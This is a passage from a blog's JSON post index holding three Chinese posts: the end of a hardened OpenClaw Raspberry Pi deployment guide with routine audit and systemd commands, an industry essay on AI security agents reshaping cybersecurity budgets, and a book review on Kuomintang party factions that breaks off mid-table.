\"...\" }, { \"name\": \"skill-vetting\", \"sha256\": \"...\" } ] } 这份文件不是“文档”，而是回滚和审计的基线。\n8. 可运维化：把“依赖人工”改造成“系统自检” 部署最容易忽略的一点是：\n修复一次很容易； 持续保持正确很难。 所以我把关键动作转成自动化：\n8.1 每日完整性巡检 巡检做两件事：\n检查 skill 文件哈希是否漂移； 执行 openclaw security audit --json 并记录摘要。 脚本示例路径：\n/home/USER/bin/openclaw-integrity-check.sh 8.2 systemd timer 固化 服务和定时器：\n~/.config/systemd/user/openclaw-integrity-check.service ~/.config/systemd/user/openclaw-integrity-check.timer 启用：\nsystemctl --user daemon-reload systemctl --user enable --now openclaw-integrity-check.timer systemctl --user start openclaw-integrity-check.service 验证：\nsystemctl --user status openclaw-integrity-check.timer --no-pager tail -n 50 ~/.openclaw/logs/integrity-check.log 8.3 为什么这个动作值得 因为它把风险检测从“想起来才查”改成“每天自动查”。\n后者是系统工程，前者是运气工程。\n9. 成本与配额：绑定 Codex 不等于无限额度 这是部署后最常被问的问题之一。\n结论很简单：\n绑定 Codex 解决的是身份和接入； 不是自动赠送无限 token。 成本通常由四个变量共同决定：\n账户套餐与计费规则； 模型类型和调用频率； 并发与任务编排策略； 会话管理方式（上下文长度、历史压缩）。 实操建议：\n上线当天就打开 usage 观测； 对高成本模型设置明确触发条件； 为非关键任务配置降级模型； 定期清理和压缩历史上下文。 不做这些，账单几乎一定会“后知后觉”。\n10. 面向生产的验收清单与日常 SOP 10.1 一次性验收清单 # 1) 服务状态 systemctl --user is-active openclaw-gateway.service # 2) 网关可达 openclaw gateway probe # 3) 通道状态 openclaw status # 4) Telegram 主动发送回环 openclaw message send --channel telegram --target TELEGRAM_USER_ID --message \"post-deploy check\" # 5) 安全审计 openclaw security audit --json # 6) 巡检定时器 systemctl --user status openclaw-integrity-check.timer --no-pager 验收通过条件：\n六项命令全部成功； 安全审计 critical=0, warn=0； Telegram 收发真实可用。 10.2 每周维护 SOP（建议） 每周一次：\n检查 gateway 与 timer 状态； 抽查最近 7 天巡检日志； 验证 Telegram 回环； 检查 FRP 映射是否仍符合最小暴露； 评估技能清单是否有“新增但未审计”。 每月一次：\n系统补丁更新（apt）； OpenClaw 版本评估与升级窗口； 供应链基线更新（仅在审计通过后更新 commit 与 manifest）； 凭据轮换（bot token / gateway token / FRP token）。 10.3 故障应急优先级 当系统异常时，按这个优先级处理：\n服务存活（systemd）； 本机可达（gateway probe）； 代理链路（NAS 出站）； 通道业务（Telegram）； 外网访问（FRP + HTTPS）。 优先级倒置是最常见的低效来源。\n11. 结语：这次部署最重要的五个经验 如果只能留下五条，我会保留下面这些：\n先把服务变成服务，再谈功能体验。 没有服务化，所有功能都只是“当前 shell 的幻觉”。\n网络稳定性是 AI 可用性的前置条件。 模型再强，链路不稳，最终体验就是随机失败。\n安全配置必须可验证，而不是“我觉得配了”。 只有审计结果和日志证据，才算修复完成。\n供应链控制要做成制度，不要做成一次性动作。 高 Star + 固定 commit + 哈希校验 + 自动巡检，缺一不可。\n可运维比可演示更重要。 真正上线后，决定成败的不是首日截图，而是第 30 天的稳定性。\n这次部署的价值，不在于“把某个工具装好了”，而在于把一套 AI 代理系统纳入了工程化治理框架：可上线、可维护、可审计、可恢复。\n12. 附录 12.1 关键文件地图 ~/.openclaw/openclaw.json ~/.config/systemd/user/openclaw-gateway.service ~/.config/systemd/user/openclaw-gateway.service.d/10-proxy.conf ~/.openclaw/skills/.trusted-source-manifest.json ~/bin/openclaw-integrity-check.sh ~/.config/systemd/user/openclaw-integrity-check.service ~/.config/systemd/user/openclaw-integrity-check.timer ~/.openclaw/logs/integrity-check.log 12.2 常用命令速查 # 服务管理 systemctl --user status openclaw-gateway.service systemctl --user restart openclaw-gateway.service # 网关与日志 openclaw gateway probe openclaw status openclaw logs --follow # 安全审计 openclaw security audit openclaw security audit --json # 技能管理 openclaw skills list openclaw skills check ","relPermalink":"/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/openclaw-raspberrypi-deployment/","summary":"一份可落地、可审计、可恢复的 OpenClaw 树莓派生产化部署复盘。","tags":["技术实践","DevSecOps","网络工具","树莓派","实操指南","方法解析"],"title":"OpenClaw 树莓派生产化部署实录：从可运行到可审计、可恢复、可持续","unix":1771825800,"year":"2026"},{"date":"2026-02-21","dateISO":"2026-02-21","permalink":"https://bluedog.website/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/ai-%E5%AE%89%E5%85%A8-agent-%E8%A7%A6%E5%8F%91%E7%9A%84%E9%A2%84%E7%AE%97%E8%BF%81%E7%A7%BB%E4%BA%A7%E4%B8%9A%E9%87%8D%E4%BC%B0%E4%B8%8E%E6%96%B0%E8%B5%A2%E5%AE%B6%E7%94%BB%E5%83%8F/","plain":"安全的钱要换地方花了 2026 年 2 月 20 日，Anthropic 宣布把 Claude Code Security 以 “limited research preview” 的方式集成进 Claude Code：它可以扫描代码库、定位安全漏洞、给出针对性补丁建议，但所有修复必须经过人类审核才能落地。\n这条发布本身并不神秘：行业里早已有 SAST/DAST、SCA、fuzzing、符号执行、红队审计，甚至也已有“AI 辅助安全”。真正触发资本市场强烈反应的，是 Anthropic 近乎“用事实宣告”的那部分：其 Frontier Red Team 在对开源项目测试时披露，Claude Opus 4.6 在“几乎不依赖专用脚手架、无需特殊提示”的情况下找出了 500+ 个此前未知的高严重度漏洞，且强调其发现路径更像研究员：探索、追踪上下文、尝试证伪、再给出修复建议。\n随之而来的股价下挫，被媒体直接描述为“网安与开发安全相关标的同步受冲击”，包括 CrowdStrike、Cloudflare、Okta 等；JFrog 与 GitLab 等“开发链路”公司也被连带抛售。\n如果只把它理解成“又一个扫描器抢份额”，会低估市场反应的逻辑。更准确的说法是：市场在重新贴现一个可能的结构变化——安全行业长期存在的“告警经济”正在被逼向“闭环经济”。\n图1：2 月 20 日当天，网安股与 DevSecOps 标的分钟级联动下跌\n边际成本在下降，闭环稀缺性在上升 传统网安产品的价值链，大体是“发现—汇总—告警—工单—人工分析—人工修复/处置”。过去十几年，产品端的商业化优势建立在一个稳固前提上：处置昂贵且难以自动化，所以“发现”与“管理告警”的议价能力很强；企业也愿意用不断叠加的模块、规则、订阅，把风险“看见、列清单、能汇报”。\nClaude Code Security 这类安全 Agent 的冲击点，恰好是把处置链条往前推：不仅告诉你“哪里可能不安全”，还试图把“复现—验证—分级—最小化补丁—回归证据—PR/变更建议”压成一条可重复执行的流水线，同时又以“必须人工审批”来对冲工程风险与责任风险。\n这会导致一个非常现实的变化：企业真正愿意为之持续付费的，不再是“告警数量与覆盖面”，而是“可证明的产出”。也就是：高危修复的平均时延、一次合并成功率、回归失败率、误报率、审计可追溯性、变更可回滚性。过去这些更多依赖组织能力与人力密度；现在开始被工具链与 Agent 工作流产品化。\n这并不意味着扫描器、规则库失去价值，而是意味着它们更像“基础能力组件”，单独计价的空间会变窄；真正形成新溢价的，会是闭环能力与控制面能力。\n预算从“外挂安全”迁到“工程内生安全” 市场最先会发生的，不是某一家安全公司突然失去客户，而是采购决策的重心变化：预算开始沿着研发与交付链路移动，往能把修复落地、能让责任清晰的地方集中。\n第一条迁移，是从“扫描预算”迁到“修复流水线预算”。扫描的覆盖面当然仍重要，但“只报不修”的边际价值会下降，企业会更在意能否自动生成可合并的最小补丁、是否能给出可复现证据、是否能附带回归测试结果、是否能把风险分级与置信度标定做得足够可信。\n第二条迁移，是从“单点安全产品”迁到“平台控制面”。当 AI 具备改代码、触发流水线、调用工具的能力，它在组织里就相当于一个高权限“数字员工”。此时企业最敏感的问题变成：它是谁、能做什么、能访问哪些仓库与密钥、谁批准了它提交的变更、出了事故谁背责。于是身份、最小权限、Secrets、策略审批、审计与取证会从“治理口号”变成“预算刚需”。\n第三条迁移，是从“事后检测”迁到“事前证明 + 事中监控”。更快的修复并不会让运行时防护消失，因为 AI 同样在加速攻击与滥用；相反，企业会要求运行时体系把“Agent 行为”纳入可观测与可阻断的范围。也因此，有分析认为市场对网安股的抛售可能存在过度反应：AI 既带来替代压力，也带来更强的防护需求与合作空间。\n图2：预算迁移的三条曲线\n产业重估的核心：证据链 + 责任链 暴跌会先把所有相关公司一起砸下去，但中期会分化。分化标准可以用一句话概括：价值主要来自“信息不对称”的，会被压缩；价值来自“闭环交付”的，会得到溢价。\n所谓信息不对称，典型是“我有更全的规则库/漏洞库/签名库，所以我能比别人多报一些”。当模型在上下文理解、跨文件追踪、自动构造触发路径方面显著进步时，这类优势的壁垒会变薄，产品更可能沦为平台中的一个能力模块。\n所谓闭环交付，指的是：不仅发现，还能把修复变成可上线的变更，并且全过程可审计、可回滚、可追责。这里的护城河不是模型本身（模型能力可能在多个厂商间趋同），而是工程系统的耦合深度与组织治理的沉淀：你是否掌握代码所有权体系、流水线、制品、签名、发布与回滚机制，以及对运行时的监控与处置网络。\n这也是为什么当日市场同时大幅波动的，既有传统网安公司，也有开发链路公司：资本市场在快速计算“闭环发生在哪里、责任在哪里、预算就会往哪里去”。\n六类能力会吃到结构性红利 更客观的说法不是“谁一定赢”，而是“哪些能力一定更值钱”。\n第一类是 DevSecOps/研发交付平台型玩家。原因很直接：安全 Agent 最终要把结果落到 PR、测试、审批、发布、回滚。掌握这些入口的人，决定“能不能落地、怎么落地、出了问题怎么兜底”。当日关于 JFrog、GitLab 的剧烈波动，本质就是市场在交易这种入口价值可能被重估。\n第二类是身份与权限、Secrets 与策略控制面。AI 能力越强，越需要强治理：最小权限、分级授权、关键分支保护、敏感仓库访问审计、密钥轮转与泄露监测。Agent 改代码这件事，会把“内控系统”从财务扩展到工程。\n第三类是软件供应链可信与证明体系：SBOM、制品签名、依赖策略、可追溯构建链。Agent 会显著提高变更频率；变更越快，供应链投毒与依赖风险越难控，企业越愿意为“证明你交付的东西可信”付费。\n第四类是安全数据底座与可观测（含对 Agent 行为的观测）。未来 SOC 关注的不仅是主机与网络事件，还包括：工具调用、仓库读取、数据访问、自动修复动作、策略命中与越权尝试。谁能把这些新型日志变成可检索、可告警、可取证的数据层，谁就掌握 AI 时代 SOC 的底座。\n第五类是开源生态的“分诊与治理基础设施”。发现能力被放大后，维护者的处理负载会成为系统性瓶颈。Daniel Stenberg 在 2026 年 1 月明确宣布停止 cURL 的 bug bounty，并提到大量低质量报告带来的负担与精神消耗；这类现象会推动行业引入更严格的报告门槛与分诊机制。未来会更值钱的是“把报告变成可合并修复或可快速否决的证据包”，而不是再生成更多“看起来很专业”的描述。\n第六类是 AI 安全运营（AI OpsSec）与对抗评测。防御方拿到更强的 Agent，攻击方也会拿到。企业会开始把“AI 工具链滥用”当作一等风险：提示词注入、越权工具调用、数据外泄、模型幻觉导致的错误变更。能提供持续对抗评测基准、红队化评估与治理框架的服务/产品，会形成新增预算池。\n图3：新赢家画像矩阵（控制面 × 闭环交付）\n双刃剑效应会把“治理”推到更前面 对行业保持客观，必须把反方向也说清楚。安全 Agent 的双刃剑效应不是道德讨论，而是工程现实：同样的能力可以让防御更快，也可以让攻击更快；同样的自动化可以降低 MTTR，也可以放大错误变更的事故半径。Anthropic 之所以强调“人类审批”，本质就是在承认：当 AI 进入变更链路，责任与审计必须可追溯，否则企业不会让它进生产。\n开源维护者负载危机也是现实约束。cURL 停止 bug bounty 不是“拒绝 AI”，而是“拒绝低质量噪声吞噬维护资源”。这会倒逼行业建立新的“报告经济学”：没有可复现证据与最小触发输入的报告将被拒收；提交者需要承担成本；维护者侧分诊与自动验证会成为必需能力。否则，发现能力越强，开源生态反而越脆弱。\n图4：从“告警指标”到“结果指标”的迁移\n行业形态：分化比“替代”更可能发生 未来 12 个月，最常见的现象会是“全面加 Agent，但质量参差”。很多产品会把 Agent 当成新 UI，但真正拉开差距的，会是验证能力与闭环能力：能否稳定复现、能否压住误报、能否给出最小补丁、能否在 CI 中跑出可信回归证据。企业在经历几次“AI 修复引入回归”的事故后，会更愿意为策略控制、审批链与审计链付费，闭环反而会把治理推高。\n未来 24 个月，预算结构会更清晰地重排，安全组织也会向“平台化”转型：安全工程化（把安全变更做成流水线）会成为核心岗位能力之一，安全与研发的边界进一步模糊。单点工具仍存在，但更多以平台组件形态存在，定价权向掌握入口与闭环的人集中。\n未来 36 个月，Agent vs Agent 会成为常态化竞争方式：攻击者更快地侦察、武器化与横向移动，防御者更快地持续修复与自动处置。行业的核心竞争会从“谁的检测更全”转向“谁的治理更强、证据更硬、处置更快、责任更清”。这也是为什么“暴跌不是终局”：安全需求不会消失，但利润池会向闭环、控制面、证据与治理集中。\n估值换挡 把这件事写得像是爆论，并不是想夸大“降维打击”，而是识别“价值中心迁移”。\n市场交易的不是“安全不重要了”，而是“安全的付费点在迁移”：从“我告诉你哪里不安全”，迁移到“我把它修好并给出证据链，且全过程可审计、可回滚、可追责”。谁能占住闭环与控制面的入口，谁更可能成为新赢家；谁停留在告警与报表逻辑，谁就更可能被迫降价、被平台化或被并入。\n","relPermalink":"/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/ai-%E5%AE%89%E5%85%A8-agent-%E8%A7%A6%E5%8F%91%E7%9A%84%E9%A2%84%E7%AE%97%E8%BF%81%E7%A7%BB%E4%BA%A7%E4%B8%9A%E9%87%8D%E4%BC%B0%E4%B8%8E%E6%96%B0%E8%B5%A2%E5%AE%B6%E7%94%BB%E5%83%8F/","summary":"从 Anthropic 新能力引发的市场波动出发，拆解安全预算如何从扫描走向修复闭环，哪些能力会在未来 12-36 个月获得结构性红利。","tags":["AI安全","DevSecOps","安全运营","产业观察","治理实践"],"title":"AI 安全 Agent 触发的预算迁移、产业重估与新赢家画像","unix":1771635600,"year":"2026"},{"date":"2025-10-06","dateISO":"2025-10-06","permalink":"https://bluedog.website/posts/archive/%E5%9B%BD%E5%AD%A6%E7%BB%8F%E5%85%B8/%E5%9B%BD%E5%AD%A6%E7%BB%8F%E5%85%B8%E5%9B%BD%E6%B0%91%E5%85%9A%E5%85%9A%E6%9D%83%E5%85%B4%E8%A1%B0%E5%8E%86%E5%8F%B2%E5%89%96%E6%9E%90%E5%BD%93%E4%BB%A3%E6%B2%BB%E7%90%86%E5%90%AF%E7%A4%BA%E4%B8%8E%E6%B4%BE%E7%B3%BB%E6%BC%94%E5%8F%98/","plain":"一、在权力与信仰之间 第一次读《党员、党权与党争：1924—1949年中国国民党的组织形态》时，我既被其厚重的历史材料所震撼，也被其结构化的分析所启发。这本书不是简单的政党史叙述，而是试图理解一个政党如何在中国近代国家形塑过程中扮演极其复杂的角色。作者王奇生先生指出，他以社会史为切入点，试图将政治史与社会史结合起来，将国民党置于更为广阔的社会历史变迁中审视 。本书引用了三百余种资料，其中包括几十种鲜为人知的党报、党刊以及各省党务杂志 。这种扎实的史料收集与跨学科视角，为理解国民党的制度逻辑和权力运行提供了重要线索。\n我选择书写这篇笔记，一方面是出于对党权与国家权力关系的深刻兴趣，另一方面也希望从中寻求现代治理的启示。作为中共党员，从组织运作与权力控制的角度常常思考现代企业和政府的治理逻辑。历史的政党组织如何塑造权力结构、如何面对内部的派系斗争，其经验和教训不仅是政治学问题，也对当代组织安全和治理具有现实借鉴价值。\n二、一个政治学的剖面 王奇生是北京大学历史学系教授，长期从事中国近现代史研究。本书是他经过十年研究的成果，既延续了其对国民党史的关注，又融入了政治社会学、组织理论等方法。他强调将国民党视为一个现代政党组织，在分析其失败原因时不仅着眼于意识形态和领袖人格，更关注制度结构及其与社会环境的互动。从书名中的“党员、党权与党争”三重主题可以看出，本书既关心制度设计，又关心组织内部的权力关系，更关注党内斗争的制度化模式 。\n文本结构分为多个部分：前半部分探讨国民党的改组、党治理念以及党员构成；中部分析党权在政府、军队以及社会中的运作；后半部分讨论党争如何在制度化斗争中体现，以及派系政治如何影响政党命运。从研究方法上，作者不仅比较苏俄共产党和中国共产党对国民党产生的影响，还大量使用国民党中央和地方的党务资料、报刊、档案。这种资料重构使得全书的论证既有宏观制度视角，又充满微观案例细节。\n三、组织即权力 1. 列宁式组织结构与国民党的改组 1924年国民党第一次全国代表大会在广州召开，由苏联顾问鲍罗廷等人协助，仿照俄共（布尔什维克）的模式改组了党组织。苏联顾问帮助国民党建立了列宁式党结构，使党组织具备高度集中化和纪律化的特征 。为了争取群众，国民党与中国共产党合作，形成第一次国共合作；许多共产党员以个人身份加入国民党，共同推进革命。\n在这种列宁式组织原则指导下，国民党设立中央委员会、政治会议等机构，强调民主集中制，要求党员服从组织决定。作者指出，国民党试图通过组织改组来塑造一个能够动员群众、控制军队和政府的政党机器。然而，由于国民党原有的组织基础薄弱、成员构成复杂，再加上地方派系势力的牵制，列宁式结构并没有完全落地。在政党—政府—军队三角关系中，党的力量仍然是最脆弱的。这种结构性脆弱为后来党权与政权的失衡埋下隐患。\n2. 党权与政权、军权的关系 王奇生在书中反复强调国民党掌握的“党权”与“政权”“军权”的区别与互动。党的中央组织在理论上拥有对政府和军队的领导权，但现实中，军阀势力和地方政府常常凌驾于党之上。由于缺乏一套强有力的组织监督机制，党员对党权的认同更多停留在象征层面。这种权力分离导致党权无法有效约束军队行动，也无法全面控制地方行政。这一点与苏俄共产党通过党内组织控制军队、政府的模式形成鲜明对比。\n3. “弱势独裁政党”的概念 作者提出“弱势独裁政党”这一概念，认为国民党虽然试图建立一党专政，但由于组织松散、派系林立、制度执行力不足，实际上既无法做到民主政治，也无法实现真正的独裁。这种“有独裁之心而无独裁之力”的困境，使得国民党在执政伊始便呈现衰败迹象。上海大学的读书会报告对该概念进行了总结，指出作者关注党员、党权与党争三大主题，试图回应国民党作为弱势独裁政党的本质 。在我看来，这种分析为理解权力与组织能力之间的关系提供了一个理论范式：权力意图必须配合组织能力，缺一不可。\n四、党争的制度化 1. 派系政治的形成 国民党内部派系斗争由来已久。1925年孙中山去世后，汪精卫领导的“改组派”和胡汉民代表的“西山派”争夺党权，而实际控制军队的蒋介石则凭借军权掌握了最终主动权。党内不同派别不仅在路线和政策上存在分歧，更在权力来源和社会基础上互不相容。随着北伐战争推进，国民党的军政干部遍布全国，各路势力在本土建立根据地，形成了复杂的派系网络。\n2. 斗争的制度化与治理 面对派系林立的局面，国民党通过修改党章、召开党大会等方式试图制度化内部斗争。蒋介石提出“以党治国、以军领党”的理念，希望通过组织原则来解决派系矛盾。1949年败退台湾后，国民党在岛内启动了“党务改革”，试图清除腐败和派系，建立更为集中统一的组织。维基百科记录说，蒋介石在1950年至1952年发起党务改革运动，成立中央改革委员会，致力于消除党内的失败主义、派系主义和官僚主义，强调制度化和组织凝聚力 。该运动试图通过集中权力和调整社会基础来提升党的战斗力，最终修改党章，重新定义国民党为革命民主政党 。然而，这场改革只是暂时缓解了内部分裂的症状，派系政治并未真正消失。\n3. 党争与政权命运 在大陆时期，国民党面对的内战压力和日益复杂的社会矛盾使党争更加激烈。蒋介石与汪精卫的分裂、与桂系军阀和其他地方势力的矛盾，都严重削弱了党权的凝聚力。派系斗争耗损了政党资源，影响了政府效率，也削弱了军队的战斗力。在这种情况下，党争不仅是一种权力竞争，更成为一种制度病症。作者认为，这种无法治愈的制度性党争，是国民党最终失败的关键原因之一。\n五、个体与组织的张力 1. 党员构成与社会基础 国民党党员的社会构成多元：既有早期革命知识分子，也有大量北伐时期吸收的军政干部、地方绅士和商人，还有随着改组加入的共产党人和无党派青年。这种混合型结构带来了社会基础的广泛性，却也导致组织认同的差异化。书中引用的近40种党务刊物和各省党部资料显示，中央对党员的考核标准并不严格，地方党部往往将吸纳党员视为争取政治资源的手段 。因此，党员身份的象征意义远大于其实质约束力。\n2. 组织纪律与个人命运 作者指出，列宁式政党强调的是无条件的服从与纪律。然而国民党在执行组织纪律方面却缺乏有效机制。党员多以个人关系、地方利益为主导，人身依附性强。对普通党员而言，加入国民党既是谋求政治庇护的方式，也是获取经济利益或社会地位的手段。在抗日战争和内战时期，大批党员流失，党组织无法有效动员基层力量，体现了党与群众结合的薄弱。\n从个体命运看，国民党党员常常处于组织理性与个人理性的冲突之中。忠诚被要求置于一切之上，但组织对党员的支持有限。在军队系统中，党军未能转化为国军，军官多效忠蒋介石个人而非党组织。这种忠诚结构使党员易成为权力斗争的牺牲品，也导致党组织难以培养稳定的干部队伍。\n3. 党员的理想与现实 国民党一直宣传三民主义，以民族、民权、民生描绘国家未来。但对广大党员来说，这种理想与现实之间的距离很大。书中通过大量案例揭示，许多党员对三民主义的理解停留在口号层面，真正决定其政治行为的是派系利益和个人前途。在这种情况下，理想化的政治信仰成为宣传工具，而组织运作则转化为利益交换。这一矛盾不仅削弱了党权，也让党员在制度变革的风浪中迷失方向。\n六、理论脉络与学术回声 1. 与古典政治社会学的对话 从学术视角看，《党员、党权与党争》将国民党放置于现代政党理论框架下，为理解中国政党制度提供了新路径。韦伯强调科层制的理性与合法性，但国民党虽引入科层制，却未形成稳定的官僚体系；米歇尔斯的“寡头铁律”指出组织必然走向寡头统治，但国民党同时存在多头派系并存的局面。“弱势独裁政党”概念表明，组织的寡头化意愿并未得到制度能力的支撑，最终导致了权力碎片化。\n此外，作者的研究与周雪光、林垂立等学者对党政关系的研究产生了互文关系。他们普遍认为，中国党政关系存在一种“组织内嵌”现象，即党组织嵌入政府与社会之中，通过组织动员来行使权力。本书则进一步指出，当组织动员力不足时，党权将无从发挥，政权反而会摆脱党权约束。这种分析提醒我们，在探讨组织治理时，不能只考虑权力意图，更要考察组织能力与社会基础。\n2. 学术贡献与局限 本书的主要贡献在于通过系统梳理档案资料，揭示了国民党党权运作的制度逻辑，并提出“弱势独裁政党”的理论概念。作者通过跨学科方法，丰富了中国政党史的研究视角，也拓展了比较政党学的理论空间。对党员构成、党权运作及党争制度化的深入分析，为理解国民党失败及当代政党治理提供了重要参考。\n然而，由于篇幅限制，作者对社会经济结构与权力运作的互动讨论相对不足。例如，资本阶级、工人阶级与农民阶级等社会力量如何影响党权运作，在书中虽然有所涉及，但未作深入阐述。此外，作者聚焦国民党，对共产党与国民党之间的动态互动讨论较少，未能充分展现国共竞争对党权演化的影响。这些都为后续研究留下了空间。\n七、从历史党争到当代治理 1. 制度惯性与现代政治 国民党的党权结构虽然失败，但其尝试建立党治政权的实践对后世政治制度产生了深刻影响。无论是1949年后台湾地区延续多年的一党体制，还是中华人民共和国建立的党国体制，均在不同程度上吸收了列宁式组织原则并进行本土化改造。维基百科指出，国民党控制台湾时曾实行一党专政，直到1970年代末期才逐步放松并引入竞争性选举 。这显示出党权制度的惯性，一旦与国家机器相结合，便很难自行瓦解。\n2. 从党争到组织博弈 在现代组织中，权力斗争并非特定于政党。企业、政府机构乃至非营利组织都存在内部博弈。党争的制度化经验提醒我们，如何在组织中构建有效的分权与制衡机制，防止权力过度集中或过度分散，是治理的核心问题。当代企业依靠制度设计、文化建设和技术手段来建立审计与合规机制，以避免内部利益集团绑架组织。国民党无力防止派系内耗的历史经验，为当代组织管理提供了反面教材：只有制度与文化双重约束，才能避免内部权力演化为破坏性竞争。\n3. 数字治理与党权逻辑 信息化和智能化时代的治理更需要组织理性。党权强调的组织动员与纪律，在数字时代可转化为数据驱动的决策与风险管控。现代政党和政府通过数据分析掌握民意，通过算法优化资源配置。当年国民党忽视基层信息收集和反馈，导致党权与社会脱节；今天的组织如果缺乏透明的数据机制，同样会在信息失真和决策失误中失去公信力。\n额外提一点：BlueDog在此表达对数字失声的不安与恐慌！\n八、某种感想 出于对权力运行机制有着特殊的敏感度和好奇感。历史上的国民党在组织上追求集中化，但由于缺乏有效的技术和制度支撑，最终导致权力失控和组织瓦解。现代安全治理同样面对中央控制与边缘灵活之间的矛盾。过分集中会产生单点故障，过度分散则可能导致协调成本激增。如何在安全框架内实现合理的分权与集权，是技术管理者与政治治理者共有的难题。\n另一个启示在于“弱势独裁”的悖论：权力意图与组织能力的不匹配带来巨大的治理风险。国民党拥有强烈的独裁意愿，却缺乏支撑这一意愿的组织能力；最终，中央政府和军队不受党权约束，政党沦为附庸。这使我联想到企业安全策略：安全策略如果制定得过于严苛，而组织文化和技术能力无法支撑，员工会选择规避或绕过制度，导致策略形同虚设。只有将制度设计与组织能力相结合，才能达致有效的控制。\n最后，党争制度化的教训也提醒我们，在任何组织中，冲突不可避免，但可以通过制度和文化管理化解。透明、公平的竞争机制和有效的监督体系能够将冲突转化为创新动力。国民党未能建立这种制度，导致内部斗争走向破坏性。作为现代管理者，应在组织结构中嵌入反馈和纠错机制，通过多层次的治理体系降低权力滥用风险。\n九、组织的阴影与人的光 《党员、党权与党争》以其丰富的史料和严谨的分析，揭示了国民党从改组到败亡过程中党权生成、运作与瓦解的逻辑。通过对党员构成、党权制度和党争机制的系统研究，作者提出“弱势独裁政党”这一富有启发性的概念，提醒我们权力意图与组织能力的匹配的重要性 。本书不仅是中国政党史的力作，也是现代组织理论和政治社会学的重要参考。\n历史是一面镜子，它折射出组织的幽影，也照亮个体的光芒。在权力与制度的巨大机器中，人的理性与信仰往往被压抑，但也正是个体的反思与行动才能推动制度进步。回顾国民党的兴衰，我们既看见权力结构的局限，也看到思想解放的可能。对于今天的我们，无论身处政治领域还是技术行业，这部作品都提示我们：组织的强大源自于制度与能力的统一，权力的正当性来自于对人的尊重与信任。\n附录X-国民党党内派系演变时间线与关系表（1924-2025年） 派系名称 成立时间 关键人物 起源 意义 主要活动与影响 与其它派系关系 结束时间/现状（至2025年） 黄埔系 1924年 蒋介石、何应钦、陈诚、胡宗南 源于1924年成立的黄埔军校，毕业生形成军事政治网络，作为国民党军方核心力量。 提供国民党军事支柱，确保蒋介石领导地位，推动北伐、抗日与内战策略。 掌控军队指挥，参与重大战役如北伐与围剿共产党，形成国民党军内核心网络。 作为基础架构，与CC系、政学系交织，许多派系成员出自黄埔；力行社/蓝衣社为其分支延伸；与区域派系如广西系竞争军权。 1949年后迁台持续影响，至2025年作为历史遗产淡化，但黄埔精神仍影响国民党军系后裔与黄复兴党部。 西山会议派 1925年11月 林森、邹鲁、谢持、戴季陶、居正 源于1925年在北京西山碧云寺举行的国民党右翼会议，反对联俄容共政策，强调反共保守立场，形成党内最早派系分裂。 推动国民党内部反共浪潮，强化右翼保守势力，对1927年清党行动产生间接影响，促进党内意识形态净化。 反对汪精卫领导，发行刊物宣传反共理念，导致国民党短暂分裂，后部分成员重返主流。 与改组派对立，后被蒋介石主导的黄埔系/CC系压制；保守理念影响CC系形成。 1931年左右，成员被开除党籍或融入主流后消亡；至2025年无直接延续，但保守反共精神影响国民党深蓝派。 CC系 1927年左右 陈果夫、陈立夫 源于黄埔军校的CC社，利用家族关系控制国民党组织部与情报系统，形成官僚化派系。 强化蒋介石的党内控制，推动国民党官僚化与反共政策，影响党务、教育与媒体领域。 掌控中央组织部、调查统计局，参与新生活运动与反共情报工作，形成国民党核心权力网络。 与政学系竞争官僚影响力，同属蒋介石亲信；与蓝衣社交织于情报系统；黄埔系为其军事后盾。 1949年后迁台影响持续至1980年代，至2025年已消亡，但官僚保守传统影响外省派与黄复兴党部。 政学系 1927年左右 杨永泰、张群、熊式辉、黄郛、何应钦 由知识分子与官僚组成的政治研究团体，为蒋介石提供政策咨询，源于北伐后党内精英整合需求。 影响国民党政策制定，推动行政现代化与经济改革，代表党内知识精英力量。 参与地方政府改革、外交政策制定，与CC系竞争权力，杨永泰提出“剿共”策略。 与CC系竞争文官权力，同属黄埔系延伸；与力行社合作于政策执行。 1940年代，杨永泰遇刺后逐渐衰落，至1949年后淡化；至2025年无直接存在，但精英治理理念影响现代国民党本土派改革者。 改组派 1928年左右 汪精卫、陈公博、王昆仑、古孟余 由汪精卫支持者组成，反对蒋介石独裁统治，主张国民党重组，带有左翼倾向，源于北伐后党内权力斗争。 挑战蒋介石权威，推动党内民主与改革讨论，反映国民党内部左翼与右翼的张力，导致1930-1931年内战。 成立改组同志会，参与宁粤分裂，发行刊物批判蒋介石，后与蒋妥协或失败。 与西山会议派/CC系对立，后部分成员融入黄埔系；左翼倾向影响后期本土化运动。 1931年后失败解散，部分成员重返国民党或转向其他阵营；至2025年无延续，但民主改革精神间接影响台湾国民党本土派。 广西系（新桂系） 1920年代中 李宗仁、白崇禧、黄绍竑 源于广西地区的军事集团，北伐期间加入国民党，形成区域派系。 代表区域自治力量，挑战中央集权，推动国民党军事多样化。 参与北伐与抗日，掌控广西军政，与蒋介石多次冲突，如1930年中原大战。 与广东系联盟，同为区域派系；与黄埔系竞争军权，常被蒋介石压制。 1949年后衰落，李宗仁流亡海外；至2025年无存在，但区域自治理念影响台湾地方派系。 广东系（旧桂系扩展） 1920年代中 李济深、陈济棠、余汉谋 源于广东地区的军事集团，北伐后整合入国民党。 强化南方军事影响力，推动国民党区域平衡。 掌控广东军政，参与抗日与内战，与蒋介石有合作与冲突。 与广西系密切交织，常联合对抗中央；受黄埔系影响。 1949年后融入主流；至2025年无直接派系，但地方势力传统影响台湾本土派。 力行社（复兴社） 1931年 蒋介石、贺衷寒、康泽、滕杰 黄埔军校毕业生响应日本侵华而成立，受法西斯主义影响，形成准军事秘密组织。 维护蒋介石权威，推动反共与新生活运动，强化国民党军政一体化。 组织特务活动、反共镇压，外围组织蓝衣社执行情报任务，推动党国威权化。 黄埔系的分支，与CC系/政学系交织于情报与政策；蓝衣社为其外围嵌套结构。 1938年解散，成员并入军统局与中统局；至2025年无存在，但威权传统影响深蓝派。 蓝衣社 1932年3月 蒋介石、戴笠、胡宗南、刘健群 作为力行社的外围组织成立，成员着蓝衣以示忠诚，源于反共与抗日需求。 加强党内纪律与忠诚，参与政治镇压与情报工作，象征国民党法西斯化倾向。 执行暗杀、监视异见分子，推动新生活运动，与军统合作反共。 嵌套于力行社之下，与CC系情报系统交织；黄埔系为其核心成员来源。 1938年后停止活动，职能转移至特务系统；至2025年无延续，但特务遗产影响国民党历史叙事。 外省派（Mainlander Faction） 1949年后 马英九、吴敦义、洪秀柱 